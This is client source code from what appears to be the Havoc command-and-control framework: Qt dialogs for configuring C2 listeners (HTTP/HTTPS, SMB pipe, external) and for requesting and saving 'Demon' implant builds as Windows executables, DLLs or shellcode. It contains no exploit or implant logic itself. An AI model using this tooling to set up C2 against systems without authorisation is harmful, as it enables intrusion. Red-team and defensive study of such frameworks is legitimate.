gridLayout_3->addWidget( LabelHosts, 0, 0, 1, 1 ); gridLayout_3->addWidget( ButtonHostsGroupClear, 1, 2, 1, 1 ); gridLayout_3->addWidget( ButtonHeaderGroupAdd, 10, 2, 1, 1 ); gridLayout_3->addWidget( HostsGroup, 0, 1, 4, 1 ); gridLayout_3->addWidget( LabelPortBind, 6, 0, 1, 1 ); gridLayout_3->addWidget( LabelPortConn, 7, 0, 1, 1 ); gridLayout_3->addWidget( ProxyConfigBox, 21, 0, 1, 3 ); gridLayout_3->addWidget( UrisGroup, 15, 1, 3, 1 ); gridLayout_3->addWidget( LabelHostRotation, 4, 0, 1, 1 ); gridLayout_3->addWidget( ComboHostRotation, 4, 1, 1, 2 ); gridLayout_3->addItem( horizontalSpacer_6, 18, 1, 1, 1 ); gridLayout_3->addItem( verticalSpacer, 2, 0, 1, 1 ); gridLayout_3->addItem( verticalSpacerHeader, 12, 0, 1, 1 ); gridLayout_3->addItem( verticalSpacerUris, 17, 0, 1, 1 ); ProxyConfigBox->setEnabled( false ); InputProxyHost->setReadOnly( true ); InputProxyPort->setReadOnly( true ); InputUserName->setReadOnly( true ); InputPassword->setReadOnly( true ); InputProxyHost->setPlaceholderText( "" ); LabelProxyHost->setEnabled( false ); LabelProxyPort->setEnabled( false ); LabelUserName->setEnabled( false ); LabelPassword->setEnabled( false ); auto style = QString( "color: #44475a;" ); LabelProxyType->setStyleSheet( style ); LabelProxyHost->setStyleSheet( style ); LabelProxyPort->setStyleSheet( style ); LabelUserName->setStyleSheet( style ); LabelPassword->setStyleSheet( style ); // Add Pages StackWidgetConfigPages->addWidget( PageHTTP ); StackWidgetConfigPages->addWidget( PageSMB ); StackWidgetConfigPages->addWidget( PageExternal ); ListenerDialog->setWindowTitle( "Create Listener" ); LabelPayload->setText(QCoreApplication::translate("ListenerWidget", "Payload: ", nullptr)); ComboPayload->setItemText(0, QCoreApplication::translate("ListenerWidget", "Https", nullptr)); ComboPayload->setItemText(1, QCoreApplication::translate("ListenerWidget", "Http", nullptr)); ComboPayload->setItemText(2, QCoreApplication::translate("ListenerWidget", "Smb", nullptr)); ComboPayload->setItemText(3, QCoreApplication::translate("ListenerWidget", "External", nullptr)); LabelListenerName->setText(QCoreApplication::translate("ListenerWidget", "Name:", nullptr)); ButtonSave->setText(QCoreApplication::translate("ListenerWidget", "Save", nullptr)); ButtonClose->setText(QCoreApplication::translate("ListenerWidget", "Close", nullptr)); ConfigBox->setTitle(QCoreApplication::translate("ListenerWidget", "Config Options", nullptr)); LabelUserAgent->setText(QCoreApplication::translate("ListenerWidget", "User Agent: ", nullptr)); ButtonUriGroupClear->setText(QCoreApplication::translate("ListenerWidget", "Clear", nullptr)); LabelUris->setText(QCoreApplication::translate("ListenerWidget", "Uris:", nullptr)); LabelHostHeader->setText(QCoreApplication::translate("ListenerWidget", "Host Header: ", nullptr)); CheckEnableProxy->setText(QCoreApplication::translate("ListenerWidget", "Enable Proxy connection", nullptr)); ButtonHeaderGroupClear->setText(QCoreApplication::translate("ListenerWidget", "Clear", nullptr)); LabelHeaders->setText(QCoreApplication::translate("ListenerWidget", "Headers:", nullptr)); ButtonHostsGroupAdd->setText(QCoreApplication::translate("ListenerWidget", "Add", nullptr)); LabelHostBind->setText(QCoreApplication::translate("ListenerWidget", "Host (Bind):", nullptr)); ButtonUriGroupAdd->setText(QCoreApplication::translate("ListenerWidget", "Add", nullptr)); LabelHosts->setText(QCoreApplication::translate("ListenerWidget", "Hosts", nullptr)); ButtonHostsGroupClear->setText(QCoreApplication::translate("ListenerWidget", "Clear", nullptr)); ButtonHeaderGroupAdd->setText(QCoreApplication::translate("ListenerWidget", "Add", nullptr)); LabelPortBind->setText(QCoreApplication::translate("ListenerWidget", "PortBind:", nullptr)); LabelPortConn->setText(QCoreApplication::translate("ListenerWidget", "PortConn:", nullptr)); LabelProxyType->setText(QCoreApplication::translate("ListenerWidget", "Proxy Type:", nullptr)); LabelProxyHost->setText(QCoreApplication::translate("ListenerWidget", "Proxy Host:", nullptr)); LabelProxyPort->setText(QCoreApplication::translate("ListenerWidget", "Proxy Port: ", nullptr)); LabelUserName->setText(QCoreApplication::translate("ListenerWidget", "UserName: ", nullptr)); LabelPassword->setText(QCoreApplication::translate("ListenerWidget", "Password: ", nullptr)); LabelHostRotation->setText(QCoreApplication::translate("ListenerWidget", "Host Rotation: ", nullptr)); LabelPipeName->setText(QCoreApplication::translate("ListenerWidget", "Pipe Name: ", nullptr)); LabelEndpoint->setText(QCoreApplication::translate("ListenerWidget", "Endpoint: ", nullptr)); ComboPayload->addItem( "Https" ); ComboPayload->addItem( "Http" ); ComboPayload->addItem( "Smb" ); ComboPayload->addItem( "External" ); ComboProxyType->addItem( "http" ); ComboProxyType->addItem( "https" ); ComboHostRotation->addItem( "round-robin" ); ComboHostRotation->addItem( "random" ); QObject::connect( ButtonSave, &QPushButton::clicked, this, &NewListener::onButton_Save ); QObject::connect( ButtonClose, &QPushButton::clicked, this, [&]() { this->DialogClosed = true; this->ListenerDialog->close(); // Free(); } ); QObject::connect( ButtonHostsGroupAdd, &QPushButton::clicked, this, [&]() { auto Item = new QLineEdit; Item->setFocus(); if ( HostsData.size() == 0 ) { if ( ! HavocX::Teamserver.IpAddresses.isEmpty() ) { Item->setText( HavocX::Teamserver.IpAddresses[ 0 ] ); } } formLayout_Hosts->setWidget( HostsData.size(), QFormLayout::FieldRole, Item ); HostsData.push_back( Item ); ListenerDialog->resize( 550, 500 ); } ); QObject::connect( ButtonHostsGroupClear, &QPushButton::clicked, this, [&]() { for ( auto& uri : HostsData ) delete uri; HostsData.clear(); ListenerDialog->resize( 550, 500 ); } ); QObject::connect( ButtonUriGroupAdd, &QPushButton::clicked, this, [&]() { auto Item = new QLineEdit; Item->setFocus(); formLayout_Uri->setWidget( UrisData.size(), QFormLayout::FieldRole, Item ); UrisData.push_back( Item ); ListenerDialog->resize( 550, 500 ); } ); QObject::connect( ButtonUriGroupClear, &QPushButton::clicked, this, [&]() { for ( auto& uri : UrisData ) delete uri; UrisData.clear(); ListenerDialog->resize( 550, 500 ); } ); QObject::connect( ButtonHeaderGroupAdd, &QPushButton::clicked, this, [&]() { auto Item = new QLineEdit; Item->setFocus(); formLayout_Header->setWidget( HeadersData.size(), QFormLayout::FieldRole, Item ); HeadersData.push_back( Item ); ListenerDialog->resize( 550, 500 ); } ); QObject::connect( ButtonHeaderGroupClear, &QPushButton::clicked, this, [&]() { for ( auto& header : HeadersData ) delete header; HeadersData.clear(); ListenerDialog->resize( 550, 500 ); } ); QObject::connect( ComboPayload, &QComboBox::currentTextChanged, this, [&]( const QString& text ) { if ( text.compare( HavocSpace::Listener::PayloadHTTPS ) == 0 ) { StackWidgetConfigPages->setCurrentIndex( 0 ); InputPortBind->setText( "443" ); InputPortConn->setText( "443" ); } else if ( text.compare( HavocSpace::Listener::PayloadHTTP ) == 0 ) { StackWidgetConfigPages->setCurrentIndex( 0 ); InputPortBind->setText( "80" ); InputPortConn->setText( "80" ); } else if ( text.compare( HavocSpace::Listener::PayloadSMB ) == 0 ) { StackWidgetConfigPages->setCurrentIndex( 1 ); } else if ( text.compare( HavocSpace::Listener::PayloadExternal ) == 0 ) { StackWidgetConfigPages->setCurrentIndex( 2 ); } else { for ( const auto& listener : ServiceListeners ) { if ( listener.Name == text.toStdString() ) { StackWidgetConfigPages->setCurrentIndex( listener.Index ); return; } } spdlog::error( "Payload not found" ); } } ); QObject::connect( CheckEnableProxy, &QCheckBox::toggled, this, &NewListener::onProxyEnabled ); QMetaObject::connectSlotsByName( Dialog ); } MapStrStr NewListener::Start( Util::ListenerItem Item, bool Edit ) { auto ListenerInfo = MapStrStr(); auto Payload = QString(); if ( Edit ) { InputListenerName->setText( Item.Name.c_str() ); InputListenerName->setReadOnly( true ); if ( ( Item.Protocol == Listener::PayloadHTTP.toStdString() ) || ( Item.Protocol == Listener::PayloadHTTPS.toStdString() ) ) { if ( Item.Protocol == Listener::PayloadHTTPS.toStdString() ) ComboPayload->setCurrentIndex( 0 ); else ComboPayload->setCurrentIndex( 1 ); ComboPayload->setDisabled( true ); auto Info = any_cast( Item.Info ); ComboHostBind->addItem( Info.HostBind ); ComboHostBind->setDisabled( true ); if ( Info.HostRotation.compare( "round-robin" ) == 0 ) ComboHostRotation->setCurrentIndex( 0 ); else if ( Info.HostRotation.compare( "random" ) == 0 ) ComboHostRotation->setCurrentIndex( 1 ); else ComboHostRotation->setCurrentIndex( 0 ); InputPortBind->setText( Info.PortBind ); InputPortBind->setReadOnly( true ); InputPortConn->setText( Info.PortConn ); InputPortConn->setReadOnly( true ); InputUserAgent->setText( Info.UserAgent ); InputUserAgent->setCursorPosition( 0 ); if ( ! Info.Hosts.empty() ) { for ( const auto& host : Info.Hosts ) { if ( host.isEmpty() ) continue; auto input = new QLineEdit; input->setText( host ); formLayout_Hosts->setWidget( HostsData.size(), QFormLayout::FieldRole, input ); HostsData.push_back( input ); } } if ( ! Info.Headers.empty() ) { for ( const auto& header : Info.Headers ) { if ( header.isEmpty() ) continue; auto input = new QLineEdit; input->setText( header ); formLayout_Header->setWidget( HeadersData.size(), QFormLayout::FieldRole, input ); HeadersData.push_back( input ); } } if ( ! Info.Uris.empty() ) { for ( const auto& uri : Info.Uris ) { if ( uri.isEmpty() ) continue; auto input = new QLineEdit; input->setText(uri ); formLayout_Uri->setWidget(UrisData.size(), QFormLayout::FieldRole, input ); UrisData.push_back(input ); } } InputHostHeader->setText( Info.HostHeader ); if ( Info.ProxyEnabled.compare( "true" ) == 0 ) CheckEnableProxy->setCheckState( Qt::CheckState::Checked ); else CheckEnableProxy->setCheckState( Qt::CheckState::Unchecked ); if ( Info.ProxyType.compare( "http" ) == 0 ) ComboProxyType->setCurrentIndex( 0 ); else ComboProxyType->setCurrentIndex( 1 ); InputProxyHost->setText( Info.ProxyHost ); InputProxyPort->setText( Info.ProxyPort ); InputUserName->setText( Info.ProxyUsername ); InputPassword->setText( Info.ProxyPassword ); } else if ( Item.Protocol == Listener::PayloadSMB.toStdString() ) { ComboPayload->setCurrentIndex( 2 ); auto Info = any_cast( Item.Info ); InputPipeName->setText( Info.PipeName ); InputPipeName->setReadOnly( true ); } else if ( Item.Protocol == Listener::PayloadExternal.toStdString() ) { ComboPayload->setCurrentIndex( 3 ); auto Info = any_cast( Item.Info ); InputEndpoint->setText( Info.Endpoint ); InputEndpoint->setReadOnly( true ); } else { // we assume that it's a service listener for ( const auto& listener : ServiceListeners ) { if ( listener.Name == Item.Protocol ) { auto ListenerConfiguration = json::parse( any_cast( Item.Info )[ "Info" ] ); ComboPayload->setCurrentIndex( listener.Index + 1 ); /* TODO: iterate over ServiceListeners and check what has been set * and blah blah blah just set everything based on the specified object * and check if its editable etc. */ for ( const auto& item : listener.Items ) { auto object = item[ "object" ].get(); auto editable = item[ "editable" ].get(); auto value = QString(); value = QString( ListenerConfiguration[ item[ "name" ] ].get().c_str() ); /* if object type is "input" */ if ( object == "input" ) { auto Line = ( ( QLineEdit* ) item[ "Line" ].get<::uint64_t>() ); Line->setText( value ); if ( ! editable ) Line->setReadOnly( true ); } } } } } ListenerDialog->setWindowTitle( "Edit Listener" ); ComboPayload->setDisabled( true ); } ListenerDialog->exec(); Payload = ComboPayload->currentText(); ListenerInfo.insert( { "Name", InputListenerName->text().toStdString() } ); ListenerInfo.insert( { "Protocol", ComboPayload->currentText().toStdString() } ); ListenerInfo.insert( { "Status", "online" } ); if ( ( Payload.compare( HavocSpace::Listener::PayloadHTTPS ) == 0 ) || ( Payload.compare( HavocSpace::Listener::PayloadHTTP ) == 0 ) ) { auto Hosts = std::string(); auto Headers = std::string(); auto Uris = std::string(); if ( Payload.compare( HavocSpace::Listener::PayloadHTTPS ) == 0 ) ListenerInfo.insert( { "Secure", "true" } ); else ListenerInfo.insert( { "Secure", "false" } ); if ( ! HostsData.empty() ) { for ( u32 i = 0; i < HostsData.size(); ++i ) { if ( i == ( HostsData.size() - 1 ) ) Hosts += HostsData.at( i )->text().toStdString(); else Hosts += HostsData.at( i )->text().toStdString() + ", "; delete HostsData.at( i ); } } else { Hosts = ComboHostBind->currentText().toStdString(); } if ( ! HeadersData.empty() ) { for ( u32 i = 0; i < HeadersData.size(); ++i ) { if ( i == ( HeadersData.size() - 1 ) ) Headers += HeadersData.at( i )->text().toStdString(); else Headers += HeadersData.at( i )->text().toStdString() + ", "; delete HeadersData.at( i ); } } if ( ! UrisData.empty() ) { for ( u32 i = 0; i < UrisData.size(); ++i ) { if ( i == ( UrisData.size() - 1 ) ) Uris += UrisData.at( i )->text().toStdString(); else Uris += UrisData.at( i )->text().toStdString() + ", "; delete UrisData.at( i ); } } ListenerInfo.insert( { "Hosts", Hosts } ); ListenerInfo.insert( { "HostBind", ComboHostBind->currentText().toStdString() } ); ListenerInfo.insert( { "HostRotation", ComboHostRotation->currentText().toStdString() } ); ListenerInfo.insert( { "PortBind", InputPortBind->text().toStdString() } ); ListenerInfo.insert( { "PortConn", InputPortConn->text().toStdString() } ); ListenerInfo.insert( { "Headers", Headers } ); ListenerInfo.insert( { "Uris", Uris } ); ListenerInfo.insert( { "UserAgent", InputUserAgent->text().toStdString() } ); ListenerInfo.insert( { "HostHeader", InputHostHeader->text().toStdString() } ); ListenerInfo.insert( { "Proxy Enabled", CheckEnableProxy->isChecked() ? "true" : "false" } ); if ( CheckEnableProxy->isChecked() ) { ListenerInfo.insert( { "Proxy Type", ComboProxyType->currentText().toStdString() } ); ListenerInfo.insert( { "Proxy Host", InputProxyHost->text().toStdString() } ); ListenerInfo.insert( { "Proxy Port", InputProxyPort->text().toStdString() } ); ListenerInfo.insert( { "Proxy Username", InputUserName->text().toStdString() } ); ListenerInfo.insert( { "Proxy Password", InputPassword->text().toStdString() } ); } } else if ( Payload.compare( HavocSpace::Listener::PayloadSMB ) == 0 ) { ListenerInfo.insert( { "PipeName", InputPipeName->text().toStdString() } ); } else if ( Payload.compare( HavocSpace::Listener::PayloadExternal ) == 0 ) { for ( auto& Listener : HavocX::Teamserver.Listeners ) { if ( Listener.Protocol == HavocSpace::Listener::PayloadExternal.toStdString() ) { if ( any_cast( Listener.Info ).Endpoint.compare( InputEndpoint->text() ) == 0 ) { MessageBox( "Listener Error", "Listener External: Endpoint already registered.", QMessageBox::Icon::Critical ); return MapStrStr{}; } } } ListenerInfo.insert( { "Endpoint", InputEndpoint->text().toStdString() } ); } else { for ( const auto& listener : ServiceListeners ) { if ( listener.Name == Payload.toStdString() ) { auto Listener = MapStrStr{ { "Name", InputListenerName->text().toStdString() }, { "Protocol", listener.Name }, { "ClientUser", HavocX::Teamserver.User.toStdString() }, }; for ( const auto& item : listener.Items ) { auto object = QString( item[ "object" ].get().c_str() ); if ( object == "input" ) { auto Name = item[ "name" ].get(); auto Line = ( QLineEdit* ) item[ "Line" ].get<::uint64_t>(); Listener.insert( { Name, Line->text().toStdString() } ); } } return Listener; } } spdlog::error( "Payload not found" ); return {}; } return ListenerInfo; } auto NewListener::ListenerCustomAdd( QString Json ) -> bool { if ( Json.isEmpty() ) return false; auto Listener = json::parse( Json.toStdString() ); auto Page = ( QWidget* ) nullptr; auto Layout = ( QFormLayout* ) nullptr; auto Service = ServiceListener(); Page = new QWidget; Layout = new QFormLayout( Page ); Service = { .Name = Listener[ "Name" ], .Page = Page, .Layout = Layout, .Index = StackWidgetConfigPages->count() }; for ( auto Item : Listener[ "Items" ] ) { if ( Item[ "object" ] == "input" ) { auto Label = new QLabel( Page ); auto Line = new QLineEdit( Page ); auto index = Service.Items.size(); Label->setText( Item[ "text" ].get().c_str() ); Line->setPlaceholderText( Item[ "placeholder" ].get().c_str() ); Layout->setWidget( index, QFormLayout::LabelRole, Label ); Layout->setWidget( index, QFormLayout::FieldRole, Line ); Service.Items.push_back( { { "name", Item[ "name" ] }, { "object", Item[ "object" ] }, { "required", Item[ "required" ] }, { "editable", Item[ "editable" ] }, { "Label", ( uint64_t ) Label }, { "Line", ( uint64_t ) Line }, } ); } } ServiceListeners.push_back( Service ); ComboPayload->addItem( Service.Name.c_str() ); StackWidgetConfigPages->addWidget( Page ); /* check if we already registered this listener */ for ( auto& x : HavocX::Teamserver.RegisteredListeners ) { if ( x[ "Name" ] == Listener[ "Name" ] ) return false; } /* if not then lets add it. */ HavocX::Teamserver.RegisteredListeners.push_back( Listener ); return true; } void HavocNamespace::UserInterface::Dialogs::NewListener::onButton_Save() { auto Payload = ComboPayload->currentText(); if ( ( Payload.compare( HavocSpace::Listener::PayloadHTTPS ) == 0 ) || ( Payload.compare( HavocSpace::Listener::PayloadHTTP ) == 0 ) ) { if ( InputListenerName->text().isEmpty() ) { MessageBox( "Listener Error", "No Listener Name specified", QMessageBox::Critical ); return; } if ( InputPortBind->text().isEmpty() ) { MessageBox( "Listener Error", "No PortBind specified", QMessageBox::Critical ); return; } else { if ( ! is_number( InputPortBind->text().toStdString() ) ) { MessageBox( "Listener Error", "PortBind is not a number", QMessageBox::Critical ); return; } } if ( InputPortConn->text().isEmpty() ) { MessageBox( "Listener Error", "No PortConn specified", QMessageBox::Critical ); return; } else { if ( ! is_number( InputPortConn->text().toStdString() ) ) { MessageBox( "Listener Error", "PortConn is not a number", QMessageBox::Critical ); return; } } if ( InputUserAgent->text().isEmpty() ) { MessageBox( "Listener Error", "No UserAgent specified", QMessageBox::Critical ); return; } if ( CheckEnableProxy->isChecked() ) { if ( InputProxyHost->text().isEmpty() ) { MessageBox( "Listener Error", "No Proxy Host specified", QMessageBox::Critical ); return; } if ( InputProxyPort->text().isEmpty() ) { MessageBox( "Listener Error", "No Proxy Port specified", QMessageBox::Critical ); return; } else { if ( ! is_number( InputProxyPort->text().toStdString() ) ) { MessageBox( "Listener Error", "Port is not a number", QMessageBox::Critical ); return; } } } } else if ( Payload.compare( HavocSpace::Listener::PayloadSMB ) == 0 ) { if ( InputPipeName->text().isEmpty() ) { MessageBox( "Listener Error", "No Pipe name specified", QMessageBox::Critical ); return; } } else if ( Payload.compare( HavocSpace::Listener::PayloadExternal ) == 0 ) { if ( InputEndpoint->text().isEmpty() ) { MessageBox( "Listener Error", "No Endpoint specified", QMessageBox::Critical ); return; } } else { for ( const auto& listener : ServiceListeners ) { if ( Payload.compare( listener.Name.c_str() ) == 0 ) { for ( auto item : listener.Items ) { auto object = item[ "object" ].get(); /* if object type is "input" */ if ( object == "input" ) { auto Line = ( ( QLineEdit* ) item[ "Line" ].get<::uint64_t>() ); /* if the operator didn't specify a value that is required then let that operator know. */ if ( item[ "required" ].get() && Line->text().isEmpty() ) { auto itemName = QString( item[ "name" ].get().c_str() ); MessageBox( "Listener Error", "No " + itemName + " specified", QMessageBox::Critical ); return; } } } } } } this->DialogSaved = true; this->ListenerDialog->close(); } void HavocNamespace::UserInterface::Dialogs::NewListener::onProxyEnabled() { if ( CheckEnableProxy->isChecked() ) { ProxyConfigBox->setEnabled( true ); auto style = QString( "color: #f8f8f2;" ); LabelProxyType->setStyleSheet( style ); LabelProxyHost->setStyleSheet( style ); LabelProxyPort->setStyleSheet( style ); LabelUserName->setStyleSheet( style ); LabelPassword->setStyleSheet( style ); InputProxyHost->setReadOnly( false ); InputProxyPort->setReadOnly( false ); InputUserName->setReadOnly( false ); InputPassword->setReadOnly( false ); LabelProxyHost->setEnabled( false ); LabelProxyPort->setEnabled( false ); LabelUserName->setEnabled( false ); LabelPassword->setEnabled( false ); } else { ProxyConfigBox->setEnabled( false ); auto style = QString( "color: #44475a;" ); LabelProxyType->setStyleSheet( style ); LabelProxyHost->setStyleSheet( style ); LabelProxyPort->setStyleSheet( style ); LabelUserName->setStyleSheet( style ); LabelPassword->setStyleSheet( style ); InputProxyHost->setReadOnly( true ); InputProxyPort->setReadOnly( true ); InputUserName->setReadOnly( true ); InputPassword->setReadOnly( true ); LabelProxyHost->setEnabled( true ); LabelProxyPort->setEnabled( true ); LabelUserName->setEnabled( true ); LabelPassword->setEnabled( true ); } } auto NewListener::Free() -> void { for ( auto listener : ServiceListeners ) { for ( auto item : listener.Items ) { // delete ( QLabel* ) listener.Items[ item ][ "Label" ].get(); // delete ( QLineEdit* ) listener.Items[ item ][ "Line" ].get(); } delete listener.Layout; delete listener.Page; } } havoc-0.6~git20240910.69ce17c/client/src/UserInterface/Dialogs/Payload.cc000066400000000000000000000660721467014221700253700ustar00rootroot00000000000000#include #include #include #include #include #include #include #include #include #include #include using namespace std; void Payload::setupUi( QDialog* Dialog ) { PayloadDialog = Dialog; if ( PayloadDialog->objectName().isEmpty() ) PayloadDialog->setObjectName( QString::fromUtf8( "PayloadDialog" ) ); PayloadDialog->resize( 550, 660 ); gridLayout_3 = new QGridLayout( PayloadDialog ); OptionsBox = new QGroupBox( PayloadDialog ); gridLayout_2 = new QGridLayout( OptionsBox ); ComboListener = new QComboBox( OptionsBox ); horizontalSpacer = new QSpacerItem( 40, 20, QSizePolicy::Expanding, QSizePolicy::Minimum ); horizontalSpacer_2 = new QSpacerItem( 40, 20, QSizePolicy::Expanding, QSizePolicy::Minimum ); horizontalSpacer_3 = new QSpacerItem( 40, 5, QSizePolicy::Expanding, QSizePolicy::Minimum ); horizontalSpacer_4 = new QSpacerItem( 40, 20, QSizePolicy::Expanding, QSizePolicy::Minimum ); horizontalSpacer_5 = new QSpacerItem( 40, 20, QSizePolicy::Expanding, QSizePolicy::Minimum ); horizontalSpacer_6 = new QSpacerItem( 40, 20, QSizePolicy::Expanding, QSizePolicy::Minimum ); horizontalSpacer_7 = new QSpacerItem( 40, 20, QSizePolicy::Expanding, QSizePolicy::Minimum ); gridLayout_3->setObjectName( QString::fromUtf8( "gridLayout_3" ) ); OptionsBox->setObjectName( QString::fromUtf8( "OptionsBox" ) ); gridLayout_2->setObjectName( QString::fromUtf8( "gridLayout_2" ) ); ComboListener->setObjectName( QString::fromUtf8( "ComboListener" ) ); gridLayout_2->addWidget( ComboListener, 0, 1, 1, 1 ); LabelListener = new QLabel( OptionsBox ); LabelListener->setObjectName( QString::fromUtf8( "LabelListener" ) ); gridLayout_2->addWidget( LabelListener, 0, 0, 1, 1 ); ComboFormat = new QComboBox( OptionsBox ); ComboFormat->setObjectName( QString::fromUtf8( "ComboFormat" ) ); gridLayout_2->addWidget( ComboFormat, 2, 1, 1, 1 ); ComboArch = new QComboBox( OptionsBox ); ComboArch->setObjectName( QString::fromUtf8( "ComboArch" ) ); gridLayout_2->addWidget( ComboArch, 1, 1, 1, 1 ); LabelArch = new QLabel( OptionsBox ); LabelArch->setObjectName( QString::fromUtf8( "LabelArch" ) ); gridLayout_2->addWidget( LabelArch, 1, 0, 1, 1 ); LabelFormat = new QLabel( OptionsBox ); LabelFormat->setObjectName( QString::fromUtf8( "LabelFormat" ) ); gridLayout_2->addWidget( LabelFormat, 2, 0, 1, 1 ); gridLayout_2->addItem( horizontalSpacer_3, 3, 1, 1, 1 ); TreeConfig = new QTreeWidget( OptionsBox ); TreeConfig->headerItem()->setText( 0, "Config" ); TreeConfig->headerItem()->setText( 1, "Value" ); TreeConfig->header()->resizeSection( 0, 155 ); gridLayout_2->addWidget( TreeConfig, 4, 0, 1, 2 ); gridLayout_3->addWidget( OptionsBox, 1, 0, 1, 8 ); gridLayout_3->addItem( horizontalSpacer_5, 4, 4, 1, 1 ); gridLayout_3->addItem( horizontalSpacer_2, 4, 6, 1, 1 ); ButtonGenerate = new QPushButton( PayloadDialog ); ButtonGenerate->setObjectName( QString::fromUtf8( "ButtonGenerate" ) ); gridLayout_3->addWidget( ButtonGenerate, 4, 3, 1, 1 ); gridLayout_3->addItem( horizontalSpacer_6, 4, 1, 1, 1 ); gridLayout_3->addItem( horizontalSpacer, 4, 0, 1, 1 ); gridLayout_3->addItem( horizontalSpacer_4, 4, 2, 1, 1 ); LabelAgentType = new QLabel( PayloadDialog ); LabelAgentType->setObjectName( QString::fromUtf8( "LabelAgentType" ) ); gridLayout_3->addWidget( LabelAgentType, 0, 0, 1, 1 ); BuildConsoleBox = new QGroupBox( PayloadDialog ); BuildConsoleBox->setObjectName( QString::fromUtf8( "BuildConsoleBox" ) ); gridLayout = new QGridLayout( BuildConsoleBox ); gridLayout->setSpacing( 3 ); gridLayout->setObjectName( QString::fromUtf8( "gridLayout" ) ); gridLayout->setContentsMargins( 3, 3, 3, 3 ); ConsoleText = new QTextEdit( BuildConsoleBox ); ConsoleText->setObjectName( QString::fromUtf8( "ConsoleText" ) ); ConsoleText->setReadOnly( true ); gridLayout->addWidget( ConsoleText, 0, 0, 1, 1 ); gridLayout_3->addWidget( BuildConsoleBox, 3, 0, 1, 8 ); gridLayout_3->addItem( horizontalSpacer_7, 4, 5, 1, 1 ); ComboAgentType = new QComboBox( PayloadDialog ); ComboAgentType->setObjectName( QString::fromUtf8( "ComboAgentType" ) ); gridLayout_3->addWidget( ComboAgentType, 0, 1, 1, 7 ); retranslateUi( ); connect( ButtonGenerate, &QPushButton::clicked, this, &Payload::buttonGenerate ); connect( ComboAgentType, &QComboBox::currentTextChanged, this, &Payload::CtxAgentPayloadChange ); connect( ComboFormat, &QComboBox::currentTextChanged, this, [&]( const QString& text ){ // only add config if our agent type is the default one (demon) if ( ComboAgentType->currentText().compare( "Demon" ) == 0 ) DefaultConfig(); } ); QMetaObject::connectSlotsByName( PayloadDialog ); } auto Payload::retranslateUi() -> void { PayloadDialog->setStyleSheet( FileRead( ":/stylesheets/Dialogs/BasicDialog" ) ); PayloadDialog->setWindowTitle( QCoreApplication::translate( "PayloadDialog", "Payload", nullptr ) ); OptionsBox->setTitle( QCoreApplication::translate( "PayloadDialog", "Options", nullptr ) ); if ( HavocX::Teamserver.Listeners.size() > 0 ) { ComboListener->setDisabled( false ); for ( auto& Listener : HavocX::Teamserver.Listeners ) { if ( Listener.Status.compare( "Offline" ) != 0 ) ComboListener->addItem( Listener.Name.c_str() ); } } else { ComboListener->addItem( "[ Empty ]" ); ComboListener->setDisabled( true ); } LabelListener->setText( QCoreApplication::translate( "PayloadDialog", "Listener: ", nullptr ) ); DefaultConfig(); ComboFormat->addItem( "Windows Exe" ); ComboFormat->addItem( "Windows Dll" ); ComboFormat->addItem( "Windows Shellcode" ); ComboArch->addItem( "x64" ); ComboArch->addItem( "x86" ); ComboAgentType->addItem( "Demon" ); for ( auto& Agents : HavocX::Teamserver.ServiceAgents ) ComboAgentType->addItem( Agents.Name ); LabelArch->setText( QCoreApplication::translate( "PayloadDialog", "Arch", nullptr ) ); LabelFormat->setText( QCoreApplication::translate( "PayloadDialog", "Format", nullptr ) ); ButtonGenerate->setText( QCoreApplication::translate( "PayloadDialog", "Generate", nullptr ) ); ButtonGenerate->setStyleSheet( "padding-top: 5px;" "padding-bottom: 5px;" "padding-left: 10px;" "padding-right: 10px;" ); LabelAgentType->setText( QCoreApplication::translate( "PayloadDialog", "Agent:", nullptr ) ); BuildConsoleBox->setTitle( QCoreApplication::translate( "PayloadDialog", "Building Console", nullptr ) ); BuildConsoleBox->setStyleSheet( "border: 1px solid #282a36;" ); } void Payload::buttonGenerate() { if ( HavocX::Teamserver.Listeners.size() == 0 ) { auto messageBox = QMessageBox( ); messageBox.setWindowTitle( "Payload Generator Error" ); messageBox.setText( "No Listener specified/available" ); messageBox.setIcon( QMessageBox::Critical ); messageBox.setStyleSheet( FileRead( ":/stylesheets/MessageBox" ) ); messageBox.setMaximumSize( QSize(500, 500 ) ); messageBox.exec(); return; } else { for ( auto& listener : HavocX::Teamserver.Listeners ) { if ( ComboListener->currentText().toStdString() == listener.Name ) { if ( listener.Status.compare( "Offline" ) == 0 ) { MessageBox( "Payload Generator Error", "Selected listener is offline", QMessageBox::Critical ); return; } } } } ConsoleText->clear(); auto Config = GetConfigAsJson().toJson().toStdString(); auto Package = new Util::Packager::Package; auto Head = Util::Packager::Head_t { .Event = Util::Packager::Gate::Type, .User = HavocX::Teamserver.User.toStdString(), .Time = CurrentTime().toStdString(), .OneTime = "true", }; auto Body = Util::Packager::Body_t { .SubEvent = Util::Packager::Gate::Stageless, .Info = { { "AgentType", this->ComboAgentType->currentText().toStdString() }, { "Listener", this->ComboListener->currentText().toStdString() }, { "Arch", this->ComboArch->currentText().toStdString() }, { "Format", this->ComboFormat->currentText().toStdString() }, { "Config", Config }, }, }; Package->Head = Head; Package->Body = Body; HavocX::GateGUI = true; HavocX::Connector->SendPackage( Package ); } auto Payload::ReceivedImplantAndSave( QString FileName, QByteArray ImplantArray ) -> void { auto FileDialog = QFileDialog(); auto Filename = QUrl(); auto Style = FileRead( ":/stylesheets/Dialogs/FileDialog" ).toStdString(); Style.erase( std::remove( Style.begin(), Style.end(), '\n' ), Style.end() ); FileDialog.setStyleSheet( Style.c_str() ); FileDialog.setAcceptMode( QFileDialog::AcceptSave ); FileDialog.setDirectory( QDir::homePath() ); FileDialog.selectFile( FileName ); if ( FileDialog.exec() == QFileDialog::Accepted ) { Filename = FileDialog.selectedUrls().value( 0 ).toLocalFile(); if ( ! Filename.toString().isNull() ) { // Save to file auto file = QFile( Filename.toString() ); auto messageBox = QMessageBox( ); if ( file.open( QIODevice::ReadWrite ) ) { file.write( ImplantArray ); } else { auto name = Filename.toString().toStdString(); spdlog::error( "Couldn't write to file {}", name ); } file.close(); messageBox.setWindowTitle( "Payload Generator" ); messageBox.setText( "Payload saved under: " + Filename.toString() ); messageBox.setIcon( QMessageBox::Information ); messageBox.setStyleSheet( FileRead( ":/stylesheets/MessageBox" ) ); messageBox.setMaximumSize( QSize(500, 500 ) ); messageBox.exec(); PayloadDialog->done( 0 ); } } } auto Payload::addConsoleLog( QString MsgType, QString Message ) -> void { Message = Message.replace( "\n", "
